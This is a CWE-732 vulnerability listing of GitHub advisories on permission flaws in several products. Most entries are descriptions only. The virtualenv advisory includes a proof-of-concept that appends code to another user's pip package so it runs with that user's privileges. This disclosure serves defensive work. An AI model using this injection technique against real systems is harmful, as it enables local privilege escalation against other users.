CWE-732
Allowed-with-ReviewIncorrect Permission Assignment for Critical Resource
Abstraction: Class · Status: Draft
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
2296 vulnerabilities reference this CWE, most recent first.
GHSA-F88Q-22G8-FRCG
Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2023-10-06 01:48Cobbler version Verified as present in Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ or possibly even older versions may be vulnerable contains a Incorrect Access Control vulnerability in XMLRPC API (/cobbler_api) that can result in Privilege escalation, data manipulation or exfiltration, LDAP credential harvesting. This attack appear to be exploitable via "network connectivity". Taking advantage of improper validation of security tokens in API endpoints. Please note this is a different issue than CVE-2018-10931.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.6.11"
},
"package": {
"ecosystem": "PyPI",
"name": "cobbler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-1000226"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-21T22:30:25Z",
"nvd_published_at": "2018-08-20T20:29:00Z",
"severity": "CRITICAL"
},
"details": "Cobbler version Verified as present in Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ or possibly even older versions may be vulnerable contains a Incorrect Access Control vulnerability in XMLRPC API (/cobbler_api) that can result in Privilege escalation, data manipulation or exfiltration, LDAP credential harvesting. This attack appear to be exploitable via \"network connectivity\". Taking advantage of improper validation of security tokens in API endpoints. Please note this is a different issue than CVE-2018-10931.",
"id": "GHSA-f88q-22g8-frcg",
"modified": "2023-10-06T01:48:06Z",
"published": "2022-05-13T01:48:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1000226"
},
{
"type": "WEB",
"url": "https://github.com/cobbler/cobbler/issues/1916"
},
{
"type": "PACKAGE",
"url": "https://github.com/cobbler/cobbler"
},
{
"type": "WEB",
"url": "https://movermeyer.com/2018-08-02-privilege-escalation-exploits-in-cobblers-api"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Cobbler Improper Validation of Security Tokens"
}
GHSA-F8CQ-CPQJ-PHG9
Vulnerability from github – Published: 2024-10-30 00:31 – Updated: 2024-10-30 00:31The Vagrant VMWare Utility Windows installer targeted a custom location with a non-protected path that could be modified by an unprivileged user, introducing potential for unauthorized file system writes. This vulnerability, CVE-2024-10228, was fixed in Vagrant VMWare Utility 1.0.23
{
"affected": [],
"aliases": [
"CVE-2024-10228"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-29T22:15:03Z",
"severity": "LOW"
},
"details": "The Vagrant VMWare Utility Windows installer targeted a custom location with a non-protected path that could be modified by an unprivileged user, introducing potential for unauthorized file system writes. This vulnerability, CVE-2024-10228, was fixed in Vagrant VMWare Utility 1.0.23",
"id": "GHSA-f8cq-cpqj-phg9",
"modified": "2024-10-30T00:31:04Z",
"published": "2024-10-30T00:31:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10228"
},
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2024-25-vagrant-vmware-utility-installation-files-vulnerable-to-modification-by-unprivileged-user"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F8Q7-3P38-7RVJ
Vulnerability from github – Published: 2022-05-13 01:49 – Updated: 2022-05-13 01:49Incorrect access controls in ajaxdata.php in TerraMaster TOS version 3.1.03 allow attackers to create user groups without proper authorization.
{
"affected": [],
"aliases": [
"CVE-2018-13355"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-11-27T21:29:00Z",
"severity": "MODERATE"
},
"details": "Incorrect access controls in ajaxdata.php in TerraMaster TOS version 3.1.03 allow attackers to create user groups without proper authorization.",
"id": "GHSA-f8q7-3p38-7rvj",
"modified": "2022-05-13T01:49:46Z",
"published": "2022-05-13T01:49:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13355"
},
{
"type": "WEB",
"url": "https://blog.securityevaluators.com/vulnerabilities-in-terramaster-tos-3-1-03-fb99cf88b86a"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-F955-5PQG-Q2Q8
Vulnerability from github – Published: 2022-05-13 01:50 – Updated: 2022-05-13 01:50Crossroads 2.81 does not properly handle the /tmp directory during a build of xr. A local attacker can first create a world-writable subdirectory in a certain location under the /tmp directory, wait until a user process copies xr there, and then replace the entire contents of this subdirectory to include a Trojan horse xr.
{
"affected": [],
"aliases": [
"CVE-2018-18654"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-10-26T00:29:00Z",
"severity": "HIGH"
},
"details": "Crossroads 2.81 does not properly handle the /tmp directory during a build of xr. A local attacker can first create a world-writable subdirectory in a certain location under the /tmp directory, wait until a user process copies xr there, and then replace the entire contents of this subdirectory to include a Trojan horse xr.",
"id": "GHSA-f955-5pqg-q2q8",
"modified": "2022-05-13T01:50:45Z",
"published": "2022-05-13T01:50:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-18654"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/911877"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F9JX-XX7W-9JGQ
Vulnerability from github – Published: 2022-05-13 01:39 – Updated: 2022-05-13 01:39All versions of NVIDIA GPU and GeForce Experience installer contain a vulnerability where it fails to set proper permissions on the package extraction path thus allowing a non-privileged user to tamper with the extracted files, potentially leading to escalation of privileges via code execution.
{
"affected": [],
"aliases": [
"CVE-2017-0317"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-02-15T23:59:00Z",
"severity": "HIGH"
},
"details": "All versions of NVIDIA GPU and GeForce Experience installer contain a vulnerability where it fails to set proper permissions on the package extraction path thus allowing a non-privileged user to tamper with the extracted files, potentially leading to escalation of privileges via code execution.",
"id": "GHSA-f9jx-xx7w-9jgq",
"modified": "2022-05-13T01:39:54Z",
"published": "2022-05-13T01:39:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0317"
},
{
"type": "WEB",
"url": "http://nvidia.custhelp.com/app/answers/detail/a_id/4398"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-F9VH-FJMH-Q969
Vulnerability from github – Published: 2023-11-20 21:31 – Updated: 2023-11-27 18:31The WP Hotel Booking WordPress plugin before 2.0.8 does not have authorisation and CSRF checks, as well as does not ensure that the package to be deleted is a package, allowing any authenticated users, such as subscriber to delete arbitrary posts
{
"affected": [],
"aliases": [
"CVE-2023-5651"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-20T19:15:09Z",
"severity": "MODERATE"
},
"details": "The WP Hotel Booking WordPress plugin before 2.0.8 does not have authorisation and CSRF checks, as well as does not ensure that the package to be deleted is a package, allowing any authenticated users, such as subscriber to delete arbitrary posts",
"id": "GHSA-f9vh-fjmh-q969",
"modified": "2023-11-27T18:31:13Z",
"published": "2023-11-20T21:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5651"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/a365c050-96ae-4266-aa87-850ee259ee2c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-F9XF-JQ4J-VQW4
Vulnerability from github – Published: 2024-04-24 21:02 – Updated: 2024-07-08 20:41A vulnerability was discovered in Rancher versions 2.0 through the aforementioned fixed versions, where users were granted access to resources regardless of the resource's API group. For example Rancher should have allowed users access to apps.catalog.cattle.io, but instead incorrectly gave access to apps.*. Resource affected include:
Downstream clusters: apiservices clusters clusterrepos persistentvolumes storageclasses
Rancher management cluster apprevisions apps catalogtemplates catalogtemplateversions clusteralertgroups clusteralertrules clustercatalogs clusterloggings clustermonitorgraphs clusterregistrationtokens clusterroletemplatebindings clusterscans etcdbackups nodepools nodes notifiers pipelineexecutions pipelines pipelinesettings podsecuritypolicytemplateprojectbindings projectalertgroups projectalertrules projectcatalogs projectloggings projectmonitorgraphs projectroletemplatebindings projects secrets sourcecodeproviderconfigs
There is not a direct mitigation besides upgrading to the patched Rancher versions.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/rancher"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.4.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/rancher/rancher"
},
"ranges": [
{
"events": [
{
"introduced": "2.5.0"
},
{
"fixed": "2.5.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-25318"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T21:02:01Z",
"nvd_published_at": "2021-07-15T09:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability was discovered in Rancher versions 2.0 through the aforementioned fixed versions, where users were granted access to resources regardless of the resource\u0027s API group. For example Rancher should have allowed users access to `apps.catalog.cattle.io`, but instead incorrectly gave access to `apps.*`. Resource affected include: \n\n**Downstream clusters:**\napiservices\nclusters\nclusterrepos\npersistentvolumes\nstorageclasses\n\n**Rancher management cluster**\napprevisions\napps\ncatalogtemplates\ncatalogtemplateversions\nclusteralertgroups\nclusteralertrules\nclustercatalogs\nclusterloggings\nclustermonitorgraphs\nclusterregistrationtokens\nclusterroletemplatebindings\nclusterscans\netcdbackups\nnodepools\nnodes\nnotifiers\npipelineexecutions\npipelines\npipelinesettings\npodsecuritypolicytemplateprojectbindings\nprojectalertgroups\nprojectalertrules\nprojectcatalogs\nprojectloggings\nprojectmonitorgraphs\nprojectroletemplatebindings\nprojects\nsecrets\nsourcecodeproviderconfigs\n\nThere is not a direct mitigation besides upgrading to the patched Rancher versions.",
"id": "GHSA-f9xf-jq4j-vqw4",
"modified": "2024-07-08T20:41:27Z",
"published": "2024-04-24T21:02:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25318"
},
{
"type": "WEB",
"url": "https://github.com/rancher/rancher/issues/33590"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1184913"
},
{
"type": "PACKAGE",
"url": "https://github.com/rancher/rancher"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2024-2768"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Rancher does not properly specify ApiGroup when creating Kubernetes RBAC resources"
}
GHSA-FC2G-4W5P-6WHM
Vulnerability from github – Published: 2026-10-23 22:23 – Updated: 2026-10-23 22:23Summary
The app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache populated under permissive permissions can therefore produce files with wider access in later environments.
Anthropic's OSS Scanner reported this as ANT-2026-487MH6OW in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Permissions of files copied from app-data into a new environment.
Attacker-controlled input
The cache must contain files created with broader permissions than the current environment creator intends. Another account must also be able to traverse the new environment and reach those files. A private parent directory prevents that access. No control of a private live cache is assumed.
Affected code
The relevant 21.14.8 source is in copy helpers.
Mechanism
The default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with
shutil.copy(). That function applies the cached source mode to each destination file after creating it, overriding the
current run's umask. If the cache image was built under umask 000, a later environment created under umask 022 can
receive mode-0666 pip files. The cache may be private while the new environment is reachable by other local accounts.
Reproduction and evidence
The scanner created two histories with separate private app-data caches. In the control, the owner's first run used
umask 022; a later environment had no files writable by another account, and that account could not append to
pip/__init__.py. In the attack history, the first run used umask 000 and the later run still used 022. The report
counted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and
bin/pip --version ran it as the environment owner. The cache itself remained under a mode-0700 home in both
histories.
An attacker cannot force the owner's earlier umask through this finding; the attack also needs a traversable
destination. A mode-002 cache can expose group write access under suitable group permissions. The scanner dates
app-data copy seeding to #1578, first released in 20.0.2. PR #3425
creates copied files under a fixed non-writable-by-others policy further restricted by the current umask.
Attack sequence
sequenceDiagram
participant U as Environment owner
participant C as Private app-data cache
participant E as Later environment
participant A as Other local account
U->>C: first seed extraction under umask 000
C-->>U: cached pip files have mode 0666
U->>E: create environment under umask 022
C->>E: shutil.copy reapplies mode 0666
A->>E: append code to pip/__init__.py
U->>E: run bin/pip --version
E-->>U: appended code runs as owner
Reproducer files
The following files are from the scanner report for ANT-2026-487MH6OW. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import glob
import os
import shutil
import stat
import subprocess
import sys
from pathlib import Path
sys.stdout.reconfigure(line_buffering=True) # keep these lines in order with those of the child processes
os.umask(0o022) # for the directories made here as root
OWNER, OTHER_USER = 1000, 65534 # root is only needed to switch to these two unprivileged uids
VIRTUALENV = ["virtualenv", "--quiet", "--no-periodic-update"] # default seeder; no network for the update check
# read here, as root: /tmp/repro.d need not be readable by the other user
ATTACK = Path("/tmp/repro.d/other_user_appends_to_pip.py").read_text()
def run_as_owner(command, home, umask):
environ = {"HOME": str(home), "PATH": os.environ["PATH"]}
subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True)
def mode(path):
return stat.filemode(os.stat(path).st_mode)
work = Path("/tmp/seed-mode-repro")
shutil.rmtree(work, ignore_errors=True)
work.mkdir()
proofs = work / "proofs"
proofs.mkdir()
proofs.chmod(0o777) # the other user's line writes the uid it runs as in here
writable_by_others, appended_line_ran_as = {}, {}
# the two histories differ only in the umask of the owner's earlier run, the one that fills ~/.cache/virtualenv
for case, umask_of_earlier_run in [("CONTROL", 0o022), ("OBSERVED", 0o000)]:
# set up: the owner's home, and with it the cache, is private; the project folder is reachable by path
home = work / f"{case}-home"
home.mkdir(mode=0o700)
os.chown(home, OWNER, OWNER)
projects = work / f"{case}-projects"
projects.mkdir(mode=0o755)
os.chown(projects, OWNER, OWNER)
# owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it
run_as_owner([*VIRTUALENV, str(home / "earlier-env")], home, umask=umask_of_earlier_run)
# owner, today
env = projects / "env"
run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022)
(cached_pip,) = glob.glob(f"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py")
(seeded_pip,) = glob.glob(f"{env}/lib/python*/site-packages/pip/__init__.py")
env_files = [path for path in env.rglob("*") if path.is_file() and not path.is_symlink()]
writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode & stat.S_IWOTH)
print(f"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022")
print(f"{case} cache pip/__init__.py {mode(cached_pip)}")
print(f"{case} env pyvenv.cfg {mode(env / 'pyvenv.cfg')}")
print(f"{case} env bin/activate {mode(env / 'bin' / 'activate')}")
print(f"{case} env pip/__init__.py {mode(seeded_pip)}")
print(f"{case} env files writable by others: {writable_by_others[case]} of {len(env_files)}")
# attack: another local user appends a line to the owner's seeded pip
proof = proofs / case
subprocess.run(
["python3", "-", str(env), str(proof)],
input=ATTACK,
text=True,
user=OTHER_USER,
group=OTHER_USER,
extra_groups=[],
env={"PATH": os.environ["PATH"]},
cwd="/",
check=True,
)
# the owner uses the environment
run_as_owner([str(env / "bin" / "pip"), "--version"], home, umask=0o022)
appended_line_ran_as[case] = proof.read_text() if proof.exists() else None
print(f"{case} other user's line ran as uid: {appended_line_ran_as[case]}")
# check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier
control_is_private = writable_by_others["CONTROL"] == 0 and appended_line_ran_as["CONTROL"] is None
observed_runs_as_owner = writable_by_others["OBSERVED"] > 0 and appended_line_ran_as["OBSERVED"] == str(OWNER)
print("BUG" if control_is_private and observed_runs_as_owner else "OK")
repro.d/other_user_appends_to_pip.py
import glob
import sys
environment, proof = sys.argv[1:]
(pip_init,) = glob.glob(f"{environment}/lib/python*/site-packages/pip/__init__.py")
added_line = f"\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\n"
try:
with open(pip_init, "a") as pip_source:
pip_source.write(added_line)
print(f"other user: appended a line to {pip_init}")
except PermissionError as error:
print(f"other user: {error}")
Impact
Copied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those accounts to be able to traverse the destination's parent directories. An attacker need not control the private source cache.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix creates destination files with mode 0644, or 0755 for executable sources, filtered further by the
current umask. It does not grant group or world write access, even with a permissive umask. Source modes are not
preserved, including modes more restrictive than this creation policy.
Fix: PR #3425.
Known mitigation
Create environments beneath a directory accessible only to their owner. Recreate environments whose permissions were inherited from a permissive cache.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "virtualenv"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "21.14.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-113720"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-23T22:23:11Z",
"nvd_published_at": "2026-10-20T20:17:18Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe app-data copy seeder uses shutil.copy, which preserves cached file modes independently of the current umask. A cache\npopulated under permissive permissions can therefore produce files with wider access in later environments.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-487MH6OW` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nPermissions of files copied from app-data into a new environment.\n\n## Attacker-controlled input\n\nThe cache must contain files created with broader permissions than the current environment creator intends. Another\naccount must also be able to traverse the new environment and reach those files. A private parent directory prevents\nthat access. No control of a private live cache is assumed.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[copy helpers](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe default app-data seeder extracts a wheel into a reusable cache and copies its files into later environments with\n`shutil.copy()`. That function applies the cached source mode to each destination file after creating it, overriding the\ncurrent run\u0027s umask. If the cache image was built under umask `000`, a later environment created under umask `022` can\nreceive mode-`0666` pip files. The cache may be private while the new environment is reachable by other local accounts.\n\n## Reproduction and evidence\n\nThe scanner created two histories with separate private app-data caches. In the control, the owner\u0027s first run used\numask `022`; a later environment had no files writable by another account, and that account could not append to\n`pip/__init__.py`. In the attack history, the first run used umask `000` and the later run still used `022`. The report\ncounted 478 of 493 environment files writable by others. A second unprivileged uid appended a line to pip, and\n`bin/pip --version` ran it as the environment owner. The cache itself remained under a mode-`0700` home in both\nhistories.\n\nAn attacker cannot force the owner\u0027s earlier umask through this finding; the attack also needs a traversable\ndestination. A mode-`002` cache can expose group write access under suitable group permissions. The scanner dates\napp-data copy seeding to #1578, first released in 20.0.2. [PR #3425](https://github.com/pypa/virtualenv/pull/3425)\ncreates copied files under a fixed non-writable-by-others policy further restricted by the current umask.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant U as Environment owner\n participant C as Private app-data cache\n participant E as Later environment\n participant A as Other local account\n U-\u003e\u003eC: first seed extraction under umask 000\n C--\u003e\u003eU: cached pip files have mode 0666\n U-\u003e\u003eE: create environment under umask 022\n C-\u003e\u003eE: shutil.copy reapplies mode 0666\n A-\u003e\u003eE: append code to pip/__init__.py\n U-\u003e\u003eE: run bin/pip --version\n E--\u003e\u003eU: appended code runs as owner\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-487MH6OW`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport glob\nimport os\nimport shutil\nimport stat\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nsys.stdout.reconfigure(line_buffering=True) # keep these lines in order with those of the child processes\nos.umask(0o022) # for the directories made here as root\nOWNER, OTHER_USER = 1000, 65534 # root is only needed to switch to these two unprivileged uids\nVIRTUALENV = [\"virtualenv\", \"--quiet\", \"--no-periodic-update\"] # default seeder; no network for the update check\n# read here, as root: /tmp/repro.d need not be readable by the other user\nATTACK = Path(\"/tmp/repro.d/other_user_appends_to_pip.py\").read_text()\n\n\ndef run_as_owner(command, home, umask):\n environ = {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}\n subprocess.run(command, user=OWNER, group=OWNER, extra_groups=[], umask=umask, env=environ, cwd=home, check=True)\n\n\ndef mode(path):\n return stat.filemode(os.stat(path).st_mode)\n\n\nwork = Path(\"/tmp/seed-mode-repro\")\nshutil.rmtree(work, ignore_errors=True)\nwork.mkdir()\nproofs = work / \"proofs\"\nproofs.mkdir()\nproofs.chmod(0o777) # the other user\u0027s line writes the uid it runs as in here\n\nwritable_by_others, appended_line_ran_as = {}, {}\n# the two histories differ only in the umask of the owner\u0027s earlier run, the one that fills ~/.cache/virtualenv\nfor case, umask_of_earlier_run in [(\"CONTROL\", 0o022), (\"OBSERVED\", 0o000)]:\n # set up: the owner\u0027s home, and with it the cache, is private; the project folder is reachable by path\n home = work / f\"{case}-home\"\n home.mkdir(mode=0o700)\n os.chown(home, OWNER, OWNER)\n projects = work / f\"{case}-projects\"\n projects.mkdir(mode=0o755)\n os.chown(projects, OWNER, OWNER)\n\n # owner, some time ago: the first run, with an empty cache, extracts the pip wheel into it\n run_as_owner([*VIRTUALENV, str(home / \"earlier-env\")], home, umask=umask_of_earlier_run)\n # owner, today\n env = projects / \"env\"\n run_as_owner([*VIRTUALENV, str(env)], home, umask=0o022)\n\n (cached_pip,) = glob.glob(f\"{home}/.cache/virtualenv/wheel/*/image/1/CopyPipInstall/pip-*/pip/__init__.py\")\n (seeded_pip,) = glob.glob(f\"{env}/lib/python*/site-packages/pip/__init__.py\")\n env_files = [path for path in env.rglob(\"*\") if path.is_file() and not path.is_symlink()]\n writable_by_others[case] = sum(1 for path in env_files if path.stat().st_mode \u0026 stat.S_IWOTH)\n print(f\"{case} earlier run under umask {umask_of_earlier_run:03o}, env created under umask 022\")\n print(f\"{case} cache pip/__init__.py {mode(cached_pip)}\")\n print(f\"{case} env pyvenv.cfg {mode(env / \u0027pyvenv.cfg\u0027)}\")\n print(f\"{case} env bin/activate {mode(env / \u0027bin\u0027 / \u0027activate\u0027)}\")\n print(f\"{case} env pip/__init__.py {mode(seeded_pip)}\")\n print(f\"{case} env files writable by others: {writable_by_others[case]} of {len(env_files)}\")\n\n # attack: another local user appends a line to the owner\u0027s seeded pip\n proof = proofs / case\n subprocess.run(\n [\"python3\", \"-\", str(env), str(proof)],\n input=ATTACK,\n text=True,\n user=OTHER_USER,\n group=OTHER_USER,\n extra_groups=[],\n env={\"PATH\": os.environ[\"PATH\"]},\n cwd=\"/\",\n check=True,\n )\n\n # the owner uses the environment\n run_as_owner([str(env / \"bin\" / \"pip\"), \"--version\"], home, umask=0o022)\n appended_line_ran_as[case] = proof.read_text() if proof.exists() else None\n print(f\"{case} other user\u0027s line ran as uid: {appended_line_ran_as[case]}\")\n\n# check: the same umask 022 today must give the same modes, whatever umask filled the cache earlier\ncontrol_is_private = writable_by_others[\"CONTROL\"] == 0 and appended_line_ran_as[\"CONTROL\"] is None\nobserved_runs_as_owner = writable_by_others[\"OBSERVED\"] \u003e 0 and appended_line_ran_as[\"OBSERVED\"] == str(OWNER)\nprint(\"BUG\" if control_is_private and observed_runs_as_owner else \"OK\")\n```\n\n**`repro.d/other_user_appends_to_pip.py`**\n\n```text\nimport glob\nimport sys\n\nenvironment, proof = sys.argv[1:]\n(pip_init,) = glob.glob(f\"{environment}/lib/python*/site-packages/pip/__init__.py\")\nadded_line = f\"\\nimport os; open({proof!r}, \u0027w\u0027).write(str(os.getuid()))\\n\"\n\ntry:\n with open(pip_init, \"a\") as pip_source:\n pip_source.write(added_line)\n print(f\"other user: appended a line to {pip_init}\")\nexcept PermissionError as error:\n print(f\"other user: {error}\")\n```\n\n## Impact\n\nCopied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those\naccounts to be able to traverse the destination\u0027s parent directories. An attacker need not control the private source\ncache.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix creates destination files with mode `0644`, or `0755` for executable sources, filtered further by the\ncurrent umask. It does not grant group or world write access, even with a permissive umask. Source modes are not\npreserved, including modes more restrictive than this creation policy.\n\nFix: [PR #3425](https://github.com/pypa/virtualenv/pull/3425).\n\n## Known mitigation\n\nCreate environments beneath a directory accessible only to their owner. Recreate environments whose permissions were\ninherited from a permissive cache.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-487MH6OW.",
"id": "GHSA-fc2g-4w5p-6whm",
"modified": "2026-10-23T22:23:11Z",
"published": "2026-10-23T22:23:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-fc2g-4w5p-6whm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113720"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3425"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/35f0b33562790176dd186d0a3c517af3acc7a0e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "virtualenv: Seeded files retain permissions from an older cache"
}
GHSA-FC53-P2C6-Q69H
Vulnerability from github – Published: 2023-08-23 21:30 – Updated: 2024-01-25 18:30A vulnerability in the restricted security domain implementation of Cisco Application Policy Infrastructure Controller (APIC) could allow an authenticated, remote attacker to read, modify, or delete non-tenant policies (for example, access policies) created by users associated with a different security domain on an affected system.
This vulnerability is due to improper access control when restricted security domains are used to implement multi-tenancy for policies outside the tenant boundaries. An attacker with a valid user account associated with a restricted security domain could exploit this vulnerability. A successful exploit could allow the attacker to read, modify, or delete policies created by users associated with a different security domain. Exploitation is not possible for policies under tenants that an attacker has no authorization to access.
{
"affected": [],
"aliases": [
"CVE-2023-20230"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-23T19:15:08Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the restricted security domain implementation of Cisco Application Policy Infrastructure Controller (APIC) could allow an authenticated, remote attacker to read, modify, or delete non-tenant policies (for example, access policies) created by users associated with a different security domain on an affected system.\n\n This vulnerability is due to improper access control when restricted security domains are used to implement multi-tenancy for policies outside the tenant boundaries. An attacker with a valid user account associated with a restricted security domain could exploit this vulnerability. A successful exploit could allow the attacker to read, modify, or delete policies created by users associated with a different security domain. Exploitation is not possible for policies under tenants that an attacker has no authorization to access.",
"id": "GHSA-fc53-p2c6-q69h",
"modified": "2024-01-25T18:30:42Z",
"published": "2023-08-23T21:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20230"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apic-uapa-F4TAShk"
}
],
"schema_version": "1.4.0",
"severity": [
{
